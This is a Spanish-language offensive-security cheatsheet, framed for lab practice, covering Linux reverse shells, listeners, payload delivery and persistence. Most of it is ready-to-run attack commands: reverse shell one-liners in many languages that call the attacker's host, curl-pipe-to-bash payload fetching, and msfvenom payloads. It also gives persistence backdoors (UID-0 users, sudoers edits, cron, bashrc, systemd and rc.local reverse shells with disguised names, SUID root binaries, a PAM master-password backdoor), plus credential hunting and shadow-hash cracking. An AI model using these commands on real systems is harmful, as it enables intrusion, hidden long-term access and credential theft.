Skip to content

Linux — Reverse Shells, Listeners y Persistencia

Cheatsheet para labs de offsec. Reemplaza los valores entre < > con los tuyos.

VariableDescripciónEjemplo
<LHOST>Tu IP en Kali192.168.45.10
<LPORT>Puerto listener4444
<TARGET>IP del Linux192.168.45.200
<USER>Usuario del targetroot
<PASS>Contraseña del usuarioSummer2024!
<FILE>Nombre del archivoupdate
<PATH>Ruta destino/tmp

1. Listeners en Kali

Netcat básico

bash
nc -lvnp <LPORT>

Netcat + rlwrap (flechas, historial, tab completion)

bash
rlwrap nc -lvnp <LPORT>

Mejorar shell una vez recibida (TTY completa)

bash
# Paso 1 — en la reverse shell recibida
python3 -c 'import pty; pty.spawn("/bin/bash")'
# o si no hay python3
python -c 'import pty; pty.spawn("/bin/bash")'
# o con script
script /dev/null -c bash

# Paso 2 — Ctrl+Z para poner en background
# Paso 3 — en Kali
stty raw -echo; fg

# Paso 4 — de vuelta en la shell
reset
export TERM=xterm
export SHELL=bash
stty rows 40 columns 170

Sin esto la shell es limitada: no hay Ctrl+C, no hay historial, no se puede usar vim ni sudo correctamente.


2. Reverse Shells desde Linux

Bash TCP

bash
bash -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1

Bash TCP — versión alternativa (más compatible)

bash
bash -c 'exec bash -i &>/dev/tcp/<LHOST>/<LPORT> <&1'

Bash UDP

bash
bash -i >& /dev/udp/<LHOST>/<LPORT> 0>&1

Netcat (nc) con -e

bash
nc <LHOST> <LPORT> -e /bin/bash

Netcat sin -e (versiones que no lo soportan — OpenBSD nc)

bash
rm /tmp/f; mkfifo /tmp/f; cat /tmp/f | /bin/bash -i 2>&1 | nc <LHOST> <LPORT> > /tmp/f

Python 3

bash
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<LHOST>",<LPORT>));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"])'

Python 2

bash
python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("<LHOST>",<LPORT>));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"])'

Perl

bash
perl -e 'use Socket;$i="<LHOST>";$p=<LPORT>;socket(S,PF_INET,SOCK_STREAM,getprotobyname("tcp"));if(connect(S,sockaddr_in($p,inet_aton($i)))){open(STDIN,">&S");open(STDOUT,">&S");open(STDERR,">&S");exec("/bin/sh -i");};'

PHP

bash
php -r '$sock=fsockopen("<LHOST>",<LPORT>);exec("/bin/sh -i <&3 >&3 2>&3");'

Ruby

bash
ruby -rsocket -e'f=TCPSocket.open("<LHOST>",<LPORT>).to_i;exec sprintf("/bin/sh -i <&%d >&%d 2>&%d",f,f,f)'

Socat — shell TTY completa desde el inicio

bash
# En Kali — listener con TTY
socat file:`tty`,raw,echo=0 tcp-listen:<LPORT>

# En el target — reverse shell
socat exec:'bash -li',pty,stderr,setsid,sigint,sane tcp:<LHOST>:<LPORT>

Socat es la opción premium — da una TTY completa sin necesitar el proceso de upgrade manual.

curl | bash (para ejecutar script remoto)

bash
# Desde el target — descarga y ejecuta directamente
curl http://<LHOST>/shell.sh | bash

# O con wget
wget -qO- http://<LHOST>/shell.sh | bash

3. Generar payloads con msfvenom

ELF ejecutable (Linux 64 bits)

bash
msfvenom -p linux/x64/shell_reverse_tcp \
  LHOST=<LHOST> LPORT=<LPORT> \
  -f elf -o <FILE>

ELF ejecutable (Linux 32 bits)

bash
msfvenom -p linux/x86/shell_reverse_tcp \
  LHOST=<LHOST> LPORT=<LPORT> \
  -f elf -o <FILE>

Script bash

bash
msfvenom -p cmd/unix/reverse_bash \
  LHOST=<LHOST> LPORT=<LPORT> \
  -f raw -o shell.sh

Payload Python

bash
msfvenom -p cmd/unix/reverse_python \
  LHOST=<LHOST> LPORT=<LPORT> \
  -f raw -o shell.py

4. Transferir archivos al target

Desde Kali — servidor HTTP

bash
python3 -m http.server 80
python3 -m http.server 8080

Desde el target Linux — descargar

bash
# wget — lo más común
wget http://<LHOST>/<FILE> -O <PATH>/<FILE>

# curl
curl http://<LHOST>/<FILE> -o <PATH>/<FILE>

# curl con permisos de ejecución en un paso
curl http://<LHOST>/<FILE> -o /tmp/<FILE> && chmod +x /tmp/<FILE>

# bash con /dev/tcp (sin herramientas extra)
cat < /dev/tcp/<LHOST>/80 > /tmp/<FILE>

Servidor HTTP con upload habilitado (recibir archivos desde el target)

bash
# En Kali — servidor que acepta PUT
python3 -c "
import http.server, sys

class H(http.server.BaseHTTPRequestHandler):
    def do_PUT(self):
        length = int(self.headers['Content-Length'])
        path = self.path.lstrip('/')
        with open(path, 'wb') as f:
            f.write(self.rfile.read(length))
        self.send_response(200)
        self.end_headers()

http.server.HTTPServer(('', 80), H).serve_forever()
"

# Desde el target — subir archivo
curl -X PUT http://<LHOST>/archivo.txt -d @/ruta/archivo.txt

SCP (si tienes SSH)

bash
# Desde Kali al target
scp <FILE> <USER>@<TARGET>:/tmp/<FILE>

# Desde el target a Kali
scp <USER>@<TARGET>:/tmp/<FILE> .

5. Ejecución en segundo plano — Evitar que Ctrl+C mate el proceso

Cuando ejecutas una reverse shell o binario desde una sesión interactiva, al presionar Ctrl+C o perder la conexión el proceso hijo también muere. La solución es desacoplar el proceso del proceso padre.

Método 1 — & al final (background simple)

bash
./shell &

# Ver el proceso en background
jobs
ps aux | grep shell

Método 2 — nohup (no muere aunque se cierre la sesión)

bash
# nohup desacopla el proceso de la terminal — SIGHUP no lo mata
nohup ./shell &

# El output va a nohup.out por defecto, o redirigirlo
nohup ./shell > /dev/null 2>&1 &

Método 3 — disown (desacoplar proceso ya en background)

bash
# Primero mandar a background
./shell &

# Luego desacoplarlo completamente de la terminal
disown

# O en un paso
./shell & disown

Método 4 — setsid (nueva sesión, completamente independiente)

bash
# setsid crea una nueva sesión de proceso — no tiene terminal controladora
setsid ./shell &

# O con redirección completa
setsid ./shell > /dev/null 2>&1 &

setsid es el equivalente en Linux a Start-Process -NoNewWindow de Windows. El proceso queda completamente desacoplado de la terminal padre.

Método 5 — screen / tmux (sesión persistente)

bash
# screen — crear sesión nombrada y correr en ella
screen -dmS mysession bash -c './shell'

# tmux — crear sesión y correr comando
tmux new-session -d -s mysession './shell'

# Ver sesiones activas
screen -ls
tmux ls

Método 6 — bash con redirección completa

bash
# Redirigir stdin, stdout y stderr para desacoplar completamente
bash -c './shell > /dev/null 2>&1 &'

# Con delay para dar tiempo a que se conecte
bash -c 'sleep 1 && ./shell > /dev/null 2>&1 &'

Cuándo usar cada método

SituaciónMétodo recomendado
Shell interactiva normal./shell & disown
Quieres que sobreviva al logoutnohup ./shell > /dev/null 2>&1 &
Proceso completamente independientesetsid ./shell > /dev/null 2>&1 &
Sesión larga y cómodascreen o tmux
Reverse shell sin perder la actualbash -c 'cmd > /dev/null 2>&1 &'

Ejemplo real — ejecutar reverse shell en background sin perder la sesión actual:

bash
# Tenemos acceso como www-data y queremos lanzar una shell
# sin perder la sesión de webshell/cmd actual
setsid bash -c 'bash -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1' > /dev/null 2>&1 &

6. Persistencia en Linux

¿Qué es persistencia? Asegurarte de mantener acceso al sistema aunque se reinicie, se cierre tu shell, o el usuario cambie su contraseña. El objetivo es que tu acceso se mantenga sin necesidad de explotar de nuevo.

Regla general: usa nombres que parezcan legítimos para pasar desapercibido.


6.1 Crear usuario con acceso

Qué hace: agrega una cuenta nueva al sistema con contraseña conocida por ti. Si además la metes en sudo o directamente en /etc/passwd como root (uid=0), tienes acceso garantizado de forma permanente.

Requiere: root.

Cuándo usarlo: cuando quieres credenciales propias que sobrevivan aunque cambien las del usuario comprometido.

bash
# Crear usuario normal
useradd -m -s /bin/bash <USER>
echo "<USER>:<PASS>" | chpasswd

# Darle sudo sin contraseña
echo "<USER> ALL=(ALL) NOPASSWD:ALL" >> /etc/sudoers

# O agregarlo al grupo sudo
usermod -aG sudo <USER>

# Verificar
id <USER>
su - <USER>

Opción agresiva — usuario con UID 0 (root sin ser root):

bash
# Agregar directamente al /etc/passwd con uid=0
echo "<USER>:x:0:0::/root:/bin/bash" >> /etc/passwd

# Establecer contraseña
echo "<USER>:<PASS>" | chpasswd

# Ahora <USER> tiene los mismos privilegios que root

6.2 Clave SSH autorizada

Qué hace: agrega tu clave pública SSH al archivo authorized_keys del usuario objetivo. A partir de ese momento puedes conectarte por SSH sin contraseña, solo con tu clave privada. Sobrevive cambios de contraseña.

Requiere: acceso de escritura al home del usuario (o root para cualquier usuario).

Cuándo usarlo: el método de persistencia más silencioso y estable. No deja procesos corriendo, no aparece en ps aux, y la conexión es cifrada y limpia.

bash
# Paso 1 — En Kali, generar un par de claves (si no tienes)
ssh-keygen -t ed25519 -f ~/.ssh/id_lab -N ""
cat ~/.ssh/id_lab.pub  # Copiar esta clave pública

# Paso 2 — En el target, agregar la clave pública
mkdir -p ~/.ssh
echo "ssh-ed25519 AAAA... tu_clave_publica" >> ~/.ssh/authorized_keys
chmod 700 ~/.ssh
chmod 600 ~/.ssh/authorized_keys

# Paso 3 — Conectar desde Kali
ssh -i ~/.ssh/id_lab <USER>@<TARGET>

# Para root (si el target lo permite)
mkdir -p /root/.ssh
echo "ssh-ed25519 AAAA... tu_clave_publica" >> /root/.ssh/authorized_keys
chmod 700 /root/.ssh
chmod 600 /root/.ssh/authorized_keys
ssh -i ~/.ssh/id_lab root@<TARGET>

Verificar que SSH permite autenticación por clave:

bash
grep -E "PubkeyAuthentication|AuthorizedKeysFile" /etc/ssh/sshd_config
# Debe ser: PubkeyAuthentication yes

6.3 Crontab — tarea programada

Qué hace: registra una tarea en el planificador cron que ejecuta tu payload automáticamente según una expresión de tiempo. Puede ejecutarse cada minuto, cada hora, al reinicio, etc.

Hay dos niveles:

  • Crontab del usuario → se ejecuta con los privilegios de ese usuario.
  • Crontab de root (/etc/crontab o /etc/cron.d/) → se ejecuta como root.

Cuándo usarlo: persistencia automática y repetitiva. Si alguien mata tu proceso, el cron lo vuelve a lanzar al próximo ciclo.

bash
# Ver crontab actual del usuario
crontab -l

# Editar crontab del usuario actual
crontab -e

# Formato: minuto hora día_mes mes día_semana comando
# Ejemplos de expresiones:
# * * * * *         → cada minuto
# */5 * * * *       → cada 5 minutos
# 0 * * * *         → cada hora (en el minuto 0)
# @reboot           → al reiniciar el sistema

Reverse shell cada minuto:

bash
# Agregar al crontab sin abrir editor
(crontab -l 2>/dev/null; echo "* * * * * bash -c 'bash -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1'") | crontab -

Al reinicio del sistema:

bash
(crontab -l 2>/dev/null; echo "@reboot bash -c 'bash -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1'") | crontab -

Como root — escribir directamente en /etc/cron.d/:

bash
echo "* * * * * root bash -c 'bash -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1'" > /etc/cron.d/sysupdate

Verificar que se guardó:

bash
crontab -l
cat /etc/cron.d/sysupdate

Eliminar (limpiar tras el lab):

bash
crontab -r
rm /etc/cron.d/sysupdate

6.4 Bash profile / bashrc — ejecución al iniciar sesión

Qué hace: agrega código a los archivos de configuración de bash que se ejecutan automáticamente cuando el usuario abre una terminal o inicia sesión. Es una forma de persistencia discreta que activa el payload cada vez que el usuario interactúa con el sistema.

Archivos disponibles:

ArchivoCuándo se ejecutaRequiere
~/.bashrcCada vez que abre una terminal interactivaAcceso al home
~/.bash_profileAl hacer login (SSH, TTY)Acceso al home
~/.profileAl hacer login (si no existe .bash_profile)Acceso al home
/etc/bash.bashrcPara todos los usuarios, terminal interactivaRoot
/etc/profilePara todos los usuarios, al loginRoot
bash
# Agregar reverse shell al .bashrc del usuario actual
echo "bash -c 'bash -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1' &" >> ~/.bashrc

# Al .bash_profile (se ejecuta al login SSH)
echo "bash -c 'bash -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1' &" >> ~/.bash_profile

# Para todos los usuarios (root)
echo "bash -c 'bash -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1' &" >> /etc/profile

El & al final es fundamental — sin él el usuario vería la terminal bloqueada al iniciar sesión.


6.5 Servicio systemd

Qué hace: registra un servicio del sistema que arranca automáticamente con el sistema operativo y se reinicia si el proceso muere. Es la persistencia más robusta en sistemas Linux modernos con systemd — sobrevive reinicios y es difícil de detectar si el nombre es convincente.

Requiere: root.

Cuándo usarlo: cuando quieres persistencia que sobreviva reinicios sin depender de que ningún usuario inicie sesión.

bash
# Paso 1 — Crear el archivo del servicio
cat > /etc/systemd/system/systemd-network-helper.service << 'EOF'
[Unit]
Description=Network Helper Service
After=network.target

[Service]
Type=simple
ExecStart=/bin/bash -c 'bash -i >& /dev/tcp/<LHOST>/<LPORT> 0>&1'
Restart=always
RestartSec=30

[Install]
WantedBy=multi-user.target
EOF

# Paso 2 — Recargar systemd para que detecte el nuevo servicio
systemctl daemon-reload

# Paso 3 — Habilitar para que arranque en cada reinicio
systemctl enable systemd-network-helper

# Paso 4 — Iniciarlo ahora mismo sin esperar reinicio
systemctl start systemd-network-helper

# Verificar estado
systemctl status systemd-network-helper

Eliminar:

bash
systemctl stop systemd-network-helper
systemctl disable systemd-network-helper
rm /etc/systemd/system/systemd-network-helper.service
systemctl daemon-reload

6.6 /etc/rc.local — ejecución al arranque

Qué hace: rc.local es un script que se ejecuta al final del proceso de arranque del sistema, antes de que los usuarios inicien sesión. Es una forma legacy pero que aún funciona en muchas distribuciones.

Requiere: root.

Cuándo usarlo: alternativa a systemd en sistemas más antiguos, o cuando quieres algo simple y rápido.

bash
# Verificar si existe y está habilitado
cat /etc/rc.local
systemctl status rc-local

# Agregar el payload antes del 'exit 0'
sed -i 's/exit 0/bash -c "bash -i >& \/dev\/tcp\/<LHOST>\/<LPORT> 0>\&1" \&\nexit 0/' /etc/rc.local

# Dar permisos de ejecución si no los tiene
chmod +x /etc/rc.local

# Verificar
cat /etc/rc.local

6.7 SUID en binario propio

Qué hace: crea un binario con el bit SUID activado que ejecuta comandos como root. Cualquier usuario que lo ejecute obtiene privilegios de root temporalmente mientras el binario corre.

Requiere: root para crear el SUID.

Cuándo usarlo: backdoor de escalada permanente. Incluso si alguien cambia las contraseñas, cualquier usuario puede ejecutar el binario y escalar a root.

bash
# Opción A — copiar bash con SUID (la más simple)
cp /bin/bash /tmp/.bash_hidden
chmod +s /tmp/.bash_hidden

# Cualquier usuario puede ejecutar:
/tmp/.bash_hidden -p
# -p preserva los privilegios del SUID

# Opción B — binario C personalizado
cat > /tmp/backdoor.c << 'EOF'
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

int main() {
    setuid(0);
    setgid(0);
    system("/bin/bash");
    return 0;
}
EOF

gcc /tmp/backdoor.c -o /tmp/.syshelper
chmod +s /tmp/.syshelper

# Cualquier usuario ejecuta y obtiene bash como root:
/tmp/.syshelper

Verificar:

bash
ls -la /tmp/.bash_hidden
# Debe mostrar: -rwsr-xr-x (la 's' indica SUID activo)

6.8 Modificar /etc/sudoers

Qué hace: agrega una regla en sudoers que permite a un usuario ejecutar comandos específicos (o todos) como root sin contraseña. Más quirúrgico que crear un usuario nuevo.

Requiere: root.

Cuándo usarlo: cuando ya tienes una cuenta de usuario en el sistema y quieres darle capacidad de escalar a root permanentemente.

bash
# Dar sudo sin contraseña a un usuario existente
echo "<USER> ALL=(ALL) NOPASSWD:ALL" >> /etc/sudoers

# O solo para un comando específico (más sigiloso)
echo "<USER> ALL=(ALL) NOPASSWD:/bin/bash" >> /etc/sudoers

# Verificar sintaxis antes de cerrar sesión (IMPORTANTE)
visudo -c

# Probar desde la cuenta del usuario
sudo bash
sudo -l

Siempre verificar con visudo -c antes de cerrar sesión — un error de sintaxis en sudoers puede dejar el sistema sin acceso sudo.


6.9 PAM backdoor — autenticación universal

Qué hace: modifica el módulo de autenticación PAM para aceptar una contraseña maestra para cualquier usuario del sistema. Con la contraseña correcta puedes autenticarte como cualquier usuario (incluso root) sin saber su contraseña real.

Requiere: root. Muy invasivo.

Cuándo usarlo: cuando quieres acceso a cualquier cuenta del sistema con una sola contraseña. Útil en labs donde no conoces las contraseñas de todos los usuarios.

bash
# El módulo pam_unix.so valida contraseñas — modificarlo requiere recompilar
# Alternativa más práctica: usar pam_exec.so

# Agregar regla PAM que acepta contraseña maestra
echo 'auth sufficient pam_unix.so' >> /etc/pam.d/common-auth

# Opción más sigilosa con script
cat > /lib/security/pam_backdoor.sh << 'EOF'
#!/bin/bash
if [ "$PAM_AUTHTOK" = "MasterPass123!" ]; then
    exit 0
fi
exit 1
EOF
chmod +x /lib/security/pam_backdoor.sh
echo 'auth sufficient pam_exec.so /lib/security/pam_backdoor.sh' >> /etc/pam.d/common-auth

Tabla resumen de persistencia

MétodoRequiere rootSe ejecuta cuandoSobrevive reinicioRuido
Usuario nuevo✅ SíLogin manual / SSH✅ SíMedio
SSH authorized_keys❌ No (solo acceso al home)Conexión SSH✅ SíBajo
Crontab usuario❌ NoSegún expresión cron✅ SíBajo
Crontab root✅ SíSegún expresión cron✅ SíBajo
~/.bashrc / ~/.profile❌ NoAl abrir terminal/login✅ SíMedio
/etc/profile✅ SíLogin de cualquier usuario✅ SíMedio
Servicio systemd✅ SíAl arrancar el sistema✅ SíBajo
/etc/rc.local✅ SíAl arrancar el sistema✅ SíBajo
SUID bash/binario✅ SíCuando cualquier usuario lo ejecuta✅ SíBajo
/etc/sudoers✅ SíCuando el usuario hace sudo✅ SíBajo
PAM backdoor✅ SíCualquier autenticación✅ SíAlto

7. Post-explotación rápida

Verificación al obtener shell

bash
id
whoami
hostname
uname -a
cat /etc/os-release
ip addr
cat /etc/passwd | grep -v nologin | grep -v false

Buscar contraseñas y credenciales

bash
# Archivos de configuración con contraseñas
grep -r "password" /etc/ 2>/dev/null | grep -v "^Binary"
grep -r "password" /var/www/ 2>/dev/null
grep -r "DB_PASS\|db_password\|secret" /var/www/ 2>/dev/null

# Historia de comandos de todos los usuarios
cat /root/.bash_history
cat /home/*/.bash_history

# Archivos .env
find / -name ".env" 2>/dev/null | xargs cat 2>/dev/null

# Archivos de configuración comunes
cat /var/www/html/config.php 2>/dev/null
cat /var/www/html/wp-config.php 2>/dev/null
find / -name "*.conf" -readable 2>/dev/null | xargs grep -l "password" 2>/dev/null

Dump de hashes locales

bash
# Requiere root
cat /etc/shadow
cat /etc/passwd

# Formato unshadow para crackear con john
unshadow /etc/passwd /etc/shadow > hashes.txt

Crackear hashes de /etc/shadow

bash
# John the Ripper
john hashes.txt --wordlist=/usr/share/wordlists/rockyou.txt

# Hashcat — identificar el tipo primero
# $6$ = SHA-512 (modo 1800)
# $5$ = SHA-256 (modo 7400)
# $1$ = MD5 (modo 500)
hashcat -m 1800 hashes.txt /usr/share/wordlists/rockyou.txt

8. Enumeración de versiones relevantes

Kernel (para kernel exploits)

bash
uname -r
uname -a
cat /proc/version

# Buscar exploits para la versión
searchsploit linux kernel <VERSION>

Versión de Python disponible

bash
python3 --version
python --version
which python python2 python3
ls /usr/bin/python*

Versión de herramientas instaladas

bash
# Para elegir payload correcto
curl --version
wget --version
nc -h 2>&1 | head -3
socat -V 2>&1 | head -3